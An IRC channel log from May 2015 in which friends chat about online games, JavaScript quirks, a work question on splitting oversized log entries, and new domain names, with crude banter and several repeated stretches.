[2015-05-05T21:11:45-0400] <fwilson> 10/10 dependencies
[2015-05-05T21:16:21-0400] <fwilson> HELP
[2015-05-05T21:16:24-0400] <fwilson> killall -9 isn't working
[2015-05-05T21:17:08-0400] <bob_twinkles> fwilson: try -11?
[2015-05-05T21:17:52-0400] <ubuntor> tilp2! :D
[2015-05-05T21:17:56-0400] <jwoglom> killall -999999999
[2015-05-05T21:18:04-0400] <fwilson> bob_twinkles: i figured it out
[2015-05-05T21:18:05-0400] <fwilson> ubuntor: wat
[2015-05-05T21:18:24-0400] <jwoglom> by the way did you know
[2015-05-05T21:18:25-0400] <jwoglom> in javascript, 9999999999999999 == 10000000000000000
[2015-05-05T21:18:35-0400] <jwoglom> ===, even
[2015-05-05T21:18:46-0400] <ubuntor> transferring programs to the calculator?
[2015-05-05T21:18:49-0400] <kenzierocks> var x = y | 0
[2015-05-05T21:18:52-0400] <bob_twinkles> <3 FP
[2015-05-05T21:19:13-0400] <fwilson> ubuntor: knightos
[2015-05-05T21:19:22-0400] <ubuntor> ah
[2015-05-05T21:22:48-0400] <LittleBobbyTables> awe: because
[2015-05-05T21:24:18-0400] <+awe> Care to elaborate further, perhaps?
[2015-05-05T21:24:23-0400] <LittleBobbyTables> Probably not
[2015-05-05T21:24:39-0400] <fwilson> turns out knightos doesn't have a calculator
[2015-05-05T21:24:45-0400] <+awe> I'm actually curious about your criticisms, LittleBobbyTables.
[2015-05-05T21:24:52-0400] <LittleBobbyTables> That's unfortunate
[2015-05-05T21:25:06-0400] <LittleBobbyTables> It's difficult to explain
[2015-05-05T21:25:13-0400] <LittleBobbyTables> It's more of an RPG's PvP than it is a moba
[2015-05-05T21:25:25-0400] <fwilson> back to ti-os i guess
[2015-05-05T21:25:43-0400] <+awe> What about that makes it true?
[2015-05-05T21:25:51-0400] <+awe> Or rather, what about the game?
[2015-05-05T21:26:33-0400] <JacobEdelman> Mule is the only true moba
[2015-05-05T21:27:24-0400] <JacobEdelman> Also, play dwarf fortress, is a stratagey/puzzle/action/romance/horror game
[2015-05-05T21:27:33-0400] <JacobEdelman> *it is
[2015-05-05T21:38:26-0400] <+awe> LittleBobbyTables: how is that the case? It's not a permanent character.
[2015-05-05T21:45:06-0400] <ubuntor> https://www.youtube.com/watch?v=9NYr_v1xAGQ
[2015-05-05T21:52:39-0400] <Inkrement> LittleBobbyTables: Hi
[2015-05-05T21:52:45-0400] <Inkrement> Glad the feds didn't get you
[2015-05-05T21:52:48-0400] <Inkrement> So uh
[2015-05-05T21:52:55-0400] • Tamini_: waves
[2015-05-05T21:53:03-0400] <Inkrement> Yea, since you know my old handle, doxing me shouldn't be too hard
[2015-05-05T21:53:08-0400] <Inkrement> Some loose lips sunk my ship
[2015-05-05T21:53:11-0400] <+awe> Hi Tamini_!
[2015-05-05T21:53:18-0400] <+awe> Have you met Butthead?
[2015-05-05T21:53:19-0400] <+awe> I mean Inkrement.
[2015-05-05T21:53:25-0400] <Inkrement> Fortunately though, this handle isn't linked at all to my old one
[2015-05-05T21:54:17-0400] <Tamini_> i waved at him! :O
[2015-05-05T21:54:23-0400] <Tamini_> or her iunno
[2015-05-05T21:54:28-0400] <Tamini_> genders are hard
[2015-05-05T21:54:48-0400] <Inkrement> Ok, but take a wild guess what my gender is
[2015-05-05T21:54:56-0400] <+awe> He's got a small penis, but it still counts.
[2015-05-05T21:55:07-0400] <Inkrement> awe spends a lot of time staring at dicks
[2015-05-05T21:55:12-0400] <Inkrement> He's best in the world at measurements
[2015-05-05T21:55:14-0400] <+awe> I do. I'm an expert on penises.
[2015-05-05T21:55:16-0400] <Inkrement> I'd trust his word for sure
[2015-05-05T21:55:26-0400] <Tamini_> mm, aighht
[2015-05-05T21:55:34-0400] <Tamini_> hey man
[2015-05-05T21:55:36-0400] <jwoglom> that's a unique specialty, awe
[2015-05-05T21:55:44-0400] <+awe> It's one of a few.
[2015-05-05T21:57:47-0400] <ubuntor> ic
[2015-05-05T21:58:19-0400] <+awe> jwoglom: My specialties are PL, types, edelgenomics, ranting about anarcho-communism, and penises.
[2015-05-05T21:58:32-0400] <+awe> I'm the world's leading researcher on edelgenomics!
[2015-05-05T21:58:57-0400] <jwoglom> quite fascinating
[2015-05-05T22:07:02-0400] <LittleBobbyTables> Christopher would be a weird name for a girl, Tamini 
[2015-05-05T22:07:12-0400] <LittleBobbyTables> Tamini_: whatever name you're on now
[2015-05-05T22:07:27-0400] <Tamini_> hum
[2015-05-05T22:07:34-0400] <Tamini_> his name is christopher?
[2015-05-05T22:07:36-0400] <Tamini_> nice name
[2015-05-05T22:11:54-0400] <LittleBobbyTables> Inkrement: did you learn my first lesson yet
[2015-05-05T22:12:20-0400] <Inkrement> I'm really upset that awe told you my old handle
[2015-05-05T22:12:26-0400] <Inkrement> Because I was basically undoxable before he did that
[2015-05-05T22:12:29-0400] <+awe> I did not.
[2015-05-05T22:12:53-0400] <Inkrement> Well someone talked
[2015-05-05T22:12:54-0400] <LittleBobbyTables> le may may master
[2015-05-05T22:13:07-0400] <LittleBobbyTables> calc0000 is never here and  I hardly ever talk to awe
[2015-05-05T22:13:12-0400] <+awe> LittleBobbyTables: you still haven't told me what makes this game PvP?
[2015-05-05T22:13:27-0400] <LittleBobbyTables> It's hard to describe unless you've played them
[2015-05-05T22:13:47-0400] <+awe> Is it the leveling up heroes overall to unlock more talents?
[2015-05-05T22:13:57-0400] <+awe> The different sets of mechanics per map?
[2015-05-05T22:14:46-0400] <LittleBobbyTables> Second one is definitely not moba
[2015-05-05T22:14:56-0400] <+awe> I like it better.
[2015-05-05T22:14:58-0400] <LittleBobbyTables> Take a look at WoW
[2015-05-05T22:15:01-0400] <LittleBobbyTables> and Runescape
[2015-05-05T22:15:01-0400] <LittleBobbyTables> and GW1
[2015-05-05T22:15:04-0400] <LittleBobbyTables> Partially GW2
[2015-05-05T22:15:06-0400] <calc0000> (10:12:52 PM) LittleBobbyTables: le may may master
[2015-05-05T22:15:06-0400] <calc0000> (10:13:05 PM) LittleBobbyTables: calc0000 is never here and  I hardly ever talk to awe
[2015-05-05T22:15:08-0400] <calc0000> ayy lmao
[2015-05-05T22:15:10-0400] <LittleBobbyTables> They had a huge PvP following
[2015-05-05T22:15:28-0400] <LittleBobbyTables> Because they were PvE games with a PvP aspect
[2015-05-05T22:15:53-0400] <+awe> LittleBobbyTables: I'm still not following how this is PvP?
[2015-05-05T22:16:10-0400] <LittleBobbyTables> In Heroes (not calling it HotS, because Starcraft for life), you have a "moba" because Blizzard lost out on all the money from dota, but they wanted it to be casual
[2015-05-05T22:16:24-0400] <LittleBobbyTables> awe: as stated, it's hard to explain unless you've played them
[2015-05-05T22:16:33-0400] <LittleBobbyTables> Try WoW's PvP or GW1 (if you can find a match)
[2015-05-05T22:16:44-0400] <LittleBobbyTables> Levels hardly matter tbh
[2015-05-05T22:17:47-0400] <+awe> I've played WoW PvP and GW1.
[2015-05-05T22:17:56-0400] <+awe> I played both of them for years.
[2015-05-05T22:18:09-0400] <LittleBobbyTables> What part of GW1?
[2015-05-05T22:18:38-0400] <+awe> What do you mean what part?
[2015-05-05T22:18:47-0400] <LittleBobbyTables> PvE, HA, GvG, TA, RA
[2015-05-05T22:18:51-0400] <calc0000> What do you mean "What do you mean what part?" ?
[2015-05-05T22:19:41-0400] <+awe> I forget what HA/TA/RA stand for.
[2015-05-05T22:19:55-0400] <calc0000> high altitude/teaching assistant/research assistant
[2015-05-05T22:20:00-0400] <LittleBobbyTables> Hero's Ascent, Team Arena, Random Arena
[2015-05-05T22:22:15-0400] <+awe> I've done definitely the latter two.
[2015-05-05T22:22:22-0400] <+awe> It's been a long time since I played GW though.
[2015-05-05T22:22:25-0400] <+awe> And I was mostly PvE
[2015-05-05T22:22:44-0400] <Inkrement> awe: skype
[2015-05-05T22:22:46-0400] <Inkrement> ?
[2015-05-05T22:22:49-0400] <LittleBobbyTables> ew, RA
[2015-05-05T22:25:01-0400] <LittleBobbyTables> How can you play RA
[2015-05-05T22:25:03-0400] <LittleBobbyTables> It's so u gly
[2015-05-05T22:25:46-0400] <+awe> I didn't say I did it a lot.
[2015-05-05T22:26:02-0400] <+awe> I mostly played PvE, and did PvP when my guildmate asked me to do it with him.
[2015-05-05T22:26:21-0400] <LittleBobbyTables> PvP was the best part of it
[2015-05-05T22:26:22-0400] <+awe> GW was the first game I played without my cousin.
[2015-05-05T22:27:03-0400] <LittleBobbyTables> After they nerfed Shadow Form, the whole speedrunning the game sort of died
[2015-05-05T22:27:23-0400] <+awe> I had a perma sin and a 55 necro.
[2015-05-05T22:27:27-0400] <+awe> necro was my main.
[2015-05-05T22:28:08-0400] <LittleBobbyTables> I used to run and speedrun on perma
[2015-05-05T22:28:13-0400] <LittleBobbyTables> Did 55 for awhile
[2015-05-05T22:28:22-0400] <LittleBobbyTables> Both got mostly nerfed
[2015-05-05T22:28:28-0400] <+awe> I know.
[2015-05-05T22:28:30-0400] <LittleBobbyTables> Switched to HA and GvG with sup and MATH
[2015-05-05T22:28:42-0400] <LittleBobbyTables> Both mostly quit, switched to pre
[2015-05-05T22:28:57-0400] <LittleBobbyTables> Joined up with vD for awhile for HA (still talk to a couple of them)
[2015-05-05T22:29:07-0400] <LittleBobbyTables> Then everyone got banned, and we all quit
[2015-05-05T22:29:15-0400] <+awe> >everyone got banned
[2015-05-05T22:29:17-0400] <+awe> So, I assume hax.
[2015-05-05T22:31:47-0400] <LittleBobbyTables> Pretty much
[2015-05-05T22:31:48-0400] <LittleBobbyTables> mass ban wave
[2015-05-05T22:31:59-0400] <LittleBobbyTables> So, recently people have been abusing pauses in dota
[2015-05-05T22:32:09-0400] <LittleBobbyTables> teammate disconnects, infinite pause (pro games)
[2015-05-05T22:32:33-0400] <LittleBobbyTables> tournaments have gotten wise to this and have a "max" time you can pause for before you either a) forfeit or b) have to unpause
[2015-05-05T22:32:48-0400] <LittleBobbyTables> this current game
[2015-05-05T22:33:12-0400] <LittleBobbyTables> someone dc'd quickly while the enemy team had to have someone reconnect (so in the down time, not eating into their own pause time)
[2015-05-05T22:33:20-0400] <LittleBobbyTables> OG team guy comes back
[2015-05-05T22:33:27-0400] <LittleBobbyTables> other guy tries to come back but dota network is down
[2015-05-05T22:33:34-0400] <LittleBobbyTables> bout 10 minutes into the pause
[2015-05-05T22:33:52-0400] <LittleBobbyTables> one of OG team (hes a dick/troll, and everyone knows hes joking because the admin said pause time is paused)
[2015-05-05T22:34:00-0400] <LittleBobbyTables> was like "how much longer until we automatically win"
[2015-05-05T22:55:00-0400] <LittleBobbyTables> awe bob_twinkles 
[2015-05-05T22:55:03-0400] <bob_twinkles> ayyy
[2015-05-05T22:55:20-0400] <LittleBobbyTables> side (old, have to fix something, we just noticed) project at work
[2015-05-05T22:55:32-0400] <LittleBobbyTables> 1) Download logs from one appliance
[2015-05-05T22:55:44-0400] <LittleBobbyTables> 2) Pretty up the logs and put into key value format
[2015-05-05T22:56:01-0400] <LittleBobbyTables> 3) Write out to a log for another appliance to congregate all logs
[2015-05-05T22:56:26-0400] <LittleBobbyTables> "another appliance" has a max log size (one "event" per say) of 10k lines
[2015-05-05T22:57:22-0400] <LittleBobbyTables> In some logs from "one appliance", some key/value pairs themselves are over 10k characters (correct that in the last line... example: every single dll ran on a computer from every exe + their md5)
[2015-05-05T22:57:36-0400] <LittleBobbyTables> What would be the best way to split those up?
[2015-05-05T22:58:04-0400] <LittleBobbyTables> Would truncating at 9k (better safe than sorry) be best? It looks kind of ugly, but it's the only way we can think of...
[2015-05-05T23:01:34-0400] <LittleBobbyTables> And geeze, a majority of the last page is all me...
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[2015-05-05T22:19:55-0400] <calc0000> high altitude/teaching assistant/research assistant
[2015-05-05T22:20:00-0400] <LittleBobbyTables> Hero's Ascent, Team Arena, Random Arena
[2015-05-05T22:22:15-0400] <+awe> I've done definitely the latter two.
[2015-05-05T22:22:22-0400] <+awe> It's been a long time since I played GW though.
[2015-05-05T22:22:25-0400] <+awe> And I was mostly PvE
[2015-05-05T22:22:44-0400] <Inkrement> awe: skype
[2015-05-05T22:22:46-0400] <Inkrement> ?
[2015-05-05T22:22:49-0400] <LittleBobbyTables> ew, RA
[2015-05-05T22:25:01-0400] <LittleBobbyTables> How can you play RA
[2015-05-05T22:25:03-0400] <LittleBobbyTables> It's so u gly
[2015-05-05T22:25:45-0400] <+awe> I didn't say I did it a lot.
[2015-05-05T22:26:02-0400] <+awe> I mostly played PvE, and did PvP when my guildmate asked me to do it with him.
[2015-05-05T22:26:21-0400] <LittleBobbyTables> PvP was the best part of it
[2015-05-05T22:26:22-0400] <+awe> GW was the first game I played without my cousin.
[2015-05-05T22:27:03-0400] <LittleBobbyTables> After they nerfed Shadow Form, the whole speedrunning the game sort of died
[2015-05-05T22:27:23-0400] <+awe> I had a perma sin and a 55 necro.
[2015-05-05T22:27:27-0400] <+awe> necro was my main.
[2015-05-05T22:28:08-0400] <LittleBobbyTables> I used to run and speedrun on perma
[2015-05-05T22:28:13-0400] <LittleBobbyTables> Did 55 for awhile
[2015-05-05T22:28:22-0400] <LittleBobbyTables> Both got mostly nerfed
[2015-05-05T22:28:29-0400] <+awe> I know.
[2015-05-05T22:28:30-0400] <LittleBobbyTables> Switched to HA and GvG with sup and MATH
[2015-05-05T22:28:42-0400] <LittleBobbyTables> Both mostly quit, switched to pre
[2015-05-05T22:28:57-0400] <LittleBobbyTables> Joined up with vD for awhile for HA (still talk to a couple of them)
[2015-05-05T22:29:07-0400] <LittleBobbyTables> Then everyone got banned, and we all quit
[2015-05-05T22:29:15-0400] <+awe> >everyone got banned
[2015-05-05T22:29:17-0400] <+awe> So, I assume hax.
[2015-05-05T22:31:47-0400] <LittleBobbyTables> Pretty much
[2015-05-05T22:31:48-0400] <LittleBobbyTables> mass ban wave
[2015-05-05T22:31:59-0400] <LittleBobbyTables> So, recently people have been abusing pauses in dota
[2015-05-05T22:32:09-0400] <LittleBobbyTables> teammate disconnects, infinite pause (pro games)
[2015-05-05T22:32:33-0400] <LittleBobbyTables> tournaments have gotten wise to this and have a "max" time you can pause for before you either a) forfeit or b) have to unpause
[2015-05-05T22:32:48-0400] <LittleBobbyTables> this current game
[2015-05-05T22:33:12-0400] <LittleBobbyTables> someone dc'd quickly while the enemy team had to have someone reconnect (so in the down time, not eating into their own pause time)
[2015-05-05T22:33:20-0400] <LittleBobbyTables> OG team guy comes back
[2015-05-05T22:33:27-0400] <LittleBobbyTables> other guy tries to come back but dota network is down
[2015-05-05T22:33:34-0400] <LittleBobbyTables> bout 10 minutes into the pause
[2015-05-05T22:33:52-0400] <LittleBobbyTables> one of OG team (hes a dick/troll, and everyone knows hes joking because the admin said pause time is paused)
[2015-05-05T22:34:00-0400] <LittleBobbyTables> was like "how much longer until we automatically win"
[2015-05-05T22:55:00-0400] <LittleBobbyTables> awe bob_twinkles 
[2015-05-05T22:55:03-0400] <bob_twinkles> ayyy
[2015-05-05T22:55:20-0400] <LittleBobbyTables> side (old, have to fix something, we just noticed) project at work
[2015-05-05T22:55:32-0400] <LittleBobbyTables> 1) Download logs from one appliance
[2015-05-05T22:55:44-0400] <LittleBobbyTables> 2) Pretty up the logs and put into key value format
[2015-05-05T22:56:01-0400] <LittleBobbyTables> 3) Write out to a log for another appliance to congregate all logs
[2015-05-05T22:56:26-0400] <LittleBobbyTables> "another appliance" has a max log size (one "event" per say) of 10k lines
[2015-05-05T22:57:22-0400] <LittleBobbyTables> In some logs from "one appliance", some key/value pairs themselves are over 10k characters (correct that in the last line... example: every single dll ran on a computer from every exe + their md5)
[2015-05-05T22:57:36-0400] <LittleBobbyTables> What would be the best way to split those up?
[2015-05-05T22:58:04-0400] <LittleBobbyTables> Would truncating at 9k (better safe than sorry) be best? It looks kind of ugly, but it's the only way we can think of...
[2015-05-05T23:01:33-0400] <LittleBobbyTables> And geeze, a majority of the last page is all me...
[2015-05-06T00:02:35-0400] Mode is +nrt
[2015-05-06T00:17:26-0400] <LittleBobbyTables> z3t: http://i.imgur.com/zqKABPj.jpg
[2015-05-06T00:17:38-0400] <LittleBobbyTables> Top comment: "Mayweather is going to be PISSED when he gets someone to read this to him"
[2015-05-06T00:36:51-0400] <alokpathy> lololol
[2015-05-06T00:36:56-0400] <alokpathy> rekt so hard
[2015-05-06T00:40:51-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=qMoEs7eQeZE
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[2015-05-06T00:41:35-0400] <LittleBobbyTables> NSFW-ish
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[2015-05-06T02:17:27-0400] <LittleBobbyTables> lmao
[2015-05-06T02:17:38-0400] <LittleBobbyTables> this skid on HF is selling an "autopilot ebook for 25-50 a night"
[2015-05-06T02:17:48-0400] <LittleBobbyTables> 3 minutes after his post went up
[2015-05-06T02:17:55-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/zrWoa9Dj
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[2015-05-06T06:30:55-0400] <JacobEdelman> Gmorning all
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[2015-05-06T09:23:39-0400] <Inkrement> Mornin
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[2015-05-06T10:21:51-0400] <LittleBobbyTables> Inkrement: Sup
[2015-05-06T10:28:05-0400] <LittleBobbyTables> http://register.party/
[2015-05-06T10:29:20-0400] <fwilson> LittleBobbyTables: excellent
[2015-05-06T10:29:33-0400] <LittleBobbyTables> fwilson: What do you plan on getting?
[2015-05-06T10:30:09-0400] <fwilson> idk yet
[2015-05-06T10:30:12-0400] <fwilson> probably random stuff like with .science
[2015-05-06T10:30:42-0400] <LittleBobbyTables> lemon.party is taken :(
[2015-05-06T11:10:37-0400] <Inkrement> Hi LittleBobbyTables 
[2015-05-06T11:10:43-0400] <Inkrement> Sorry about that
[2015-05-06T11:10:54-0400] <Inkrement> Been in meetings, plus working on pointer math
[2015-05-06T11:10:56-0400] <Inkrement> Learned a new thing
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[2015-05-06T11:21:30-0400] <Inkrement> LittleBobbyTables: you here?
[2015-05-06T11:23:16-0400] <+awe> LittleBobbyTables: butthole.party is available.
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[2015-05-06T11:45:35-0400] <LittleBobbyTables> awe: that sounds amazing.
[2015-05-06T11:47:12-0400] <LittleBobbyTables> Inkrement: barely
[2015-05-06T11:48:00-0400] <Inkrement> LittleBobbyTables: damn :(
[2015-05-06T11:48:04-0400] <Inkrement> I wanted to get down to some learning today
[2015-05-06T11:49:01-0400] <LittleBobbyTables> Inkrement: after work
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[2015-05-05T22:32:09-0400] <LittleBobbyTables> teammate disconnects, infinite pause (pro games)
[2015-05-05T22:32:33-0400] <LittleBobbyTables> tournaments have gotten wise to this and have a "max" time you can pause for before you either a) forfeit or b) have to unpause
[2015-05-05T22:32:48-0400] <LittleBobbyTables> this current game
[2015-05-05T22:33:12-0400] <LittleBobbyTables> someone dc'd quickly while the enemy team had to have someone reconnect (so in the down time, not eating into their own pause time)
[2015-05-05T22:33:20-0400] <LittleBobbyTables> OG team guy comes back
[2015-05-05T22:33:27-0400] <LittleBobbyTables> other guy tries to come back but dota network is down
[2015-05-05T22:33:34-0400] <LittleBobbyTables> bout 10 minutes into the pause
[2015-05-05T22:33:52-0400] <LittleBobbyTables> one of OG team (hes a dick/troll, and everyone knows hes joking because the admin said pause time is paused)
[2015-05-05T22:34:00-0400] <LittleBobbyTables> was like "how much longer until we automatically win"
[2015-05-05T22:55:00-0400] <LittleBobbyTables> awe bob_twinkles 
[2015-05-05T22:55:03-0400] <bob_twinkles> ayyy
[2015-05-05T22:55:20-0400] <LittleBobbyTables> side (old, have to fix something, we just noticed) project at work
[2015-05-05T22:55:32-0400] <LittleBobbyTables> 1) Download logs from one appliance
[2015-05-05T22:55:44-0400] <LittleBobbyTables> 2) Pretty up the logs and put into key value format
[2015-05-05T22:56:01-0400] <LittleBobbyTables> 3) Write out to a log for another appliance to congregate all logs
[2015-05-05T22:56:26-0400] <LittleBobbyTables> "another appliance" has a max log size (one "event" per say) of 10k lines
[2015-05-05T22:57:22-0400] <LittleBobbyTables> In some logs from "one appliance", some key/value pairs themselves are over 10k characters (correct that in the last line... example: every single dll ran on a computer from every exe + their md5)
[2015-05-05T22:57:36-0400] <LittleBobbyTables> What would be the best way to split those up?
[2015-05-05T22:58:04-0400] <LittleBobbyTables> Would truncating at 9k (better safe than sorry) be best? It looks kind of ugly, but it's the only way we can think of...
[2015-05-05T23:01:33-0400] <LittleBobbyTables> And geeze, a majority of the last page is all me...
[2015-05-06T00:17:25-0400] <LittleBobbyTables> z3t: http://i.imgur.com/zqKABPj.jpg
[2015-05-06T00:17:37-0400] <LittleBobbyTables> Top comment: "Mayweather is going to be PISSED when he gets someone to read this to him"
[2015-05-06T00:36:51-0400] <alokpathy> lololol
[2015-05-06T00:36:55-0400] <alokpathy> rekt so hard
[2015-05-06T00:40:50-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=qMoEs7eQeZE
[2015-05-06T00:41:34-0400] <LittleBobbyTables> NSFW-ish
[2015-05-06T02:17:27-0400] <LittleBobbyTables> lmao
[2015-05-06T02:17:38-0400] <LittleBobbyTables> this skid on HF is selling an "autopilot ebook for 25-50 a night"
[2015-05-06T02:17:47-0400] <LittleBobbyTables> 3 minutes after his post went up
[2015-05-06T02:17:55-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/zrWoa9Dj
[2015-05-06T06:30:55-0400] <JacobEdelman> Gmorning all
[2015-05-06T09:23:39-0400] <Inkrement> Mornin
[2015-05-06T10:21:51-0400] <LittleBobbyTables> Inkrement: Sup
[2015-05-06T10:28:05-0400] <LittleBobbyTables> http://register.party/
[2015-05-06T10:29:20-0400] <fwilson> LittleBobbyTables: excellent
[2015-05-06T10:29:33-0400] <LittleBobbyTables> fwilson: What do you plan on getting?
[2015-05-06T10:30:09-0400] <fwilson> idk yet
[2015-05-06T10:30:12-0400] <fwilson> probably random stuff like with .science
[2015-05-06T10:30:42-0400] <LittleBobbyTables> lemon.party is taken :(
[2015-05-06T11:10:37-0400] <Inkrement> Hi LittleBobbyTables 
[2015-05-06T11:10:42-0400] <Inkrement> Sorry about that
[2015-05-06T11:10:54-0400] <Inkrement> Been in meetings, plus working on pointer math
[2015-05-06T11:10:56-0400] <Inkrement> Learned a new thing
[2015-05-06T11:21:29-0400] <Inkrement> LittleBobbyTables: you here?
[2015-05-06T11:23:16-0400] <+awe> LittleBobbyTables: butthole.party is available.
[2015-05-06T11:45:35-0400] <LittleBobbyTables> awe: that sounds amazing.
[2015-05-06T11:47:12-0400] <LittleBobbyTables> Inkrement: barely
[2015-05-06T11:47:59-0400] <Inkrement> LittleBobbyTables: damn :(
[2015-05-06T11:48:04-0400] <Inkrement> I wanted to get down to some learning today
[2015-05-06T11:49:01-0400] <LittleBobbyTables> Inkrement: after work
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[2015-05-05T22:32:09-0400] <LittleBobbyTables> teammate disconnects, infinite pause (pro games)
[2015-05-05T22:32:33-0400] <LittleBobbyTables> tournaments have gotten wise to this and have a "max" time you can pause for before you either a) forfeit or b) have to unpause
[2015-05-05T22:32:48-0400] <LittleBobbyTables> this current game
[2015-05-05T22:33:12-0400] <LittleBobbyTables> someone dc'd quickly while the enemy team had to have someone reconnect (so in the down time, not eating into their own pause time)
[2015-05-05T22:33:20-0400] <LittleBobbyTables> OG team guy comes back
[2015-05-05T22:33:27-0400] <LittleBobbyTables> other guy tries to come back but dota network is down
[2015-05-05T22:33:34-0400] <LittleBobbyTables> bout 10 minutes into the pause
[2015-05-05T22:33:52-0400] <LittleBobbyTables> one of OG team (hes a dick/troll, and everyone knows hes joking because the admin said pause time is paused)
[2015-05-05T22:34:00-0400] <LittleBobbyTables> was like "how much longer until we automatically win"
[2015-05-05T22:55:00-0400] <LittleBobbyTables> awe bob_twinkles 
[2015-05-05T22:55:03-0400] <bob_twinkles> ayyy
[2015-05-05T22:55:20-0400] <LittleBobbyTables> side (old, have to fix something, we just noticed) project at work
[2015-05-05T22:55:32-0400] <LittleBobbyTables> 1) Download logs from one appliance
[2015-05-05T22:55:44-0400] <LittleBobbyTables> 2) Pretty up the logs and put into key value format
[2015-05-05T22:56:01-0400] <LittleBobbyTables> 3) Write out to a log for another appliance to congregate all logs
[2015-05-05T22:56:26-0400] <LittleBobbyTables> "another appliance" has a max log size (one "event" per say) of 10k lines
[2015-05-05T22:57:22-0400] <LittleBobbyTables> In some logs from "one appliance", some key/value pairs themselves are over 10k characters (correct that in the last line... example: every single dll ran on a computer from every exe + their md5)
[2015-05-05T22:57:36-0400] <LittleBobbyTables> What would be the best way to split those up?
[2015-05-05T22:58:04-0400] <LittleBobbyTables> Would truncating at 9k (better safe than sorry) be best? It looks kind of ugly, but it's the only way we can think of...
[2015-05-05T23:01:33-0400] <LittleBobbyTables> And geeze, a majority of the last page is all me...
[2015-05-06T00:17:25-0400] <LittleBobbyTables> z3t: http://i.imgur.com/zqKABPj.jpg
[2015-05-06T00:17:37-0400] <LittleBobbyTables> Top comment: "Mayweather is going to be PISSED when he gets someone to read this to him"
[2015-05-06T00:36:51-0400] <alokpathy> lololol
[2015-05-06T00:36:55-0400] <alokpathy> rekt so hard
[2015-05-06T00:40:50-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=qMoEs7eQeZE
[2015-05-06T00:41:34-0400] <LittleBobbyTables> NSFW-ish
[2015-05-06T02:17:27-0400] <LittleBobbyTables> lmao
[2015-05-06T02:17:38-0400] <LittleBobbyTables> this skid on HF is selling an "autopilot ebook for 25-50 a night"
[2015-05-06T02:17:47-0400] <LittleBobbyTables> 3 minutes after his post went up
[2015-05-06T02:17:55-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/zrWoa9Dj
[2015-05-06T06:30:55-0400] <JacobEdelman> Gmorning all
[2015-05-06T09:23:39-0400] <Inkrement> Mornin
[2015-05-06T10:21:51-0400] <LittleBobbyTables> Inkrement: Sup
[2015-05-06T10:28:05-0400] <LittleBobbyTables> http://register.party/
[2015-05-06T10:29:20-0400] <fwilson> LittleBobbyTables: excellent
[2015-05-06T10:29:33-0400] <LittleBobbyTables> fwilson: What do you plan on getting?
[2015-05-06T10:30:09-0400] <fwilson> idk yet
[2015-05-06T10:30:12-0400] <fwilson> probably random stuff like with .science
[2015-05-06T10:30:42-0400] <LittleBobbyTables> lemon.party is taken :(
[2015-05-06T11:10:37-0400] <Inkrement> Hi LittleBobbyTables 
[2015-05-06T11:10:42-0400] <Inkrement> Sorry about that
[2015-05-06T11:10:54-0400] <Inkrement> Been in meetings, plus working on pointer math
[2015-05-06T11:10:56-0400] <Inkrement> Learned a new thing
[2015-05-06T11:21:29-0400] <Inkrement> LittleBobbyTables: you here?
[2015-05-06T11:23:16-0400] <+awe> LittleBobbyTables: butthole.party is available.
[2015-05-06T11:45:35-0400] <LittleBobbyTables> awe: that sounds amazing.
[2015-05-06T11:47:12-0400] <LittleBobbyTables> Inkrement: barely
[2015-05-06T11:47:59-0400] <Inkrement> LittleBobbyTables: damn :(
[2015-05-06T11:48:04-0400] <Inkrement> I wanted to get down to some learning today
[2015-05-06T11:49:01-0400] <LittleBobbyTables> Inkrement: after work
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[2015-05-05T22:32:09-0400] <LittleBobbyTables> teammate disconnects, infinite pause (pro games)
[2015-05-05T22:32:33-0400] <LittleBobbyTables> tournaments have gotten wise to this and have a "max" time you can pause for before you either a) forfeit or b) have to unpause
[2015-05-05T22:32:48-0400] <LittleBobbyTables> this current game
[2015-05-05T22:33:12-0400] <LittleBobbyTables> someone dc'd quickly while the enemy team had to have someone reconnect (so in the down time, not eating into their own pause time)
[2015-05-05T22:33:20-0400] <LittleBobbyTables> OG team guy comes back
[2015-05-05T22:33:27-0400] <LittleBobbyTables> other guy tries to come back but dota network is down
[2015-05-05T22:33:34-0400] <LittleBobbyTables> bout 10 minutes into the pause
[2015-05-05T22:33:52-0400] <LittleBobbyTables> one of OG team (hes a dick/troll, and everyone knows hes joking because the admin said pause time is paused)
[2015-05-05T22:34:00-0400] <LittleBobbyTables> was like "how much longer until we automatically win"
[2015-05-05T22:55:00-0400] <LittleBobbyTables> awe bob_twinkles 
[2015-05-05T22:55:03-0400] <bob_twinkles> ayyy
[2015-05-05T22:55:20-0400] <LittleBobbyTables> side (old, have to fix something, we just noticed) project at work
[2015-05-05T22:55:32-0400] <LittleBobbyTables> 1) Download logs from one appliance
[2015-05-05T22:55:44-0400] <LittleBobbyTables> 2) Pretty up the logs and put into key value format
[2015-05-05T22:56:01-0400] <LittleBobbyTables> 3) Write out to a log for another appliance to congregate all logs
[2015-05-05T22:56:26-0400] <LittleBobbyTables> "another appliance" has a max log size (one "event" per say) of 10k lines
[2015-05-05T22:57:22-0400] <LittleBobbyTables> In some logs from "one appliance", some key/value pairs themselves are over 10k characters (correct that in the last line... example: every single dll ran on a computer from every exe + their md5)
[2015-05-05T22:57:36-0400] <LittleBobbyTables> What would be the best way to split those up?
[2015-05-05T22:58:04-0400] <LittleBobbyTables> Would truncating at 9k (better safe than sorry) be best? It looks kind of ugly, but it's the only way we can think of...
[2015-05-05T23:01:33-0400] <LittleBobbyTables> And geeze, a majority of the last page is all me...
[2015-05-06T00:17:25-0400] <LittleBobbyTables> z3t: http://i.imgur.com/zqKABPj.jpg
[2015-05-06T00:17:37-0400] <LittleBobbyTables> Top comment: "Mayweather is going to be PISSED when he gets someone to read this to him"
[2015-05-06T00:36:51-0400] <alokpathy> lololol
[2015-05-06T00:36:55-0400] <alokpathy> rekt so hard
[2015-05-06T00:40:50-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=qMoEs7eQeZE
[2015-05-06T00:41:34-0400] <LittleBobbyTables> NSFW-ish
[2015-05-06T02:17:27-0400] <LittleBobbyTables> lmao
[2015-05-06T02:17:38-0400] <LittleBobbyTables> this skid on HF is selling an "autopilot ebook for 25-50 a night"
[2015-05-06T02:17:47-0400] <LittleBobbyTables> 3 minutes after his post went up
[2015-05-06T02:17:55-0400] <LittleBobbyTables> https://www.irccloud.com/pastebin/zrWoa9Dj
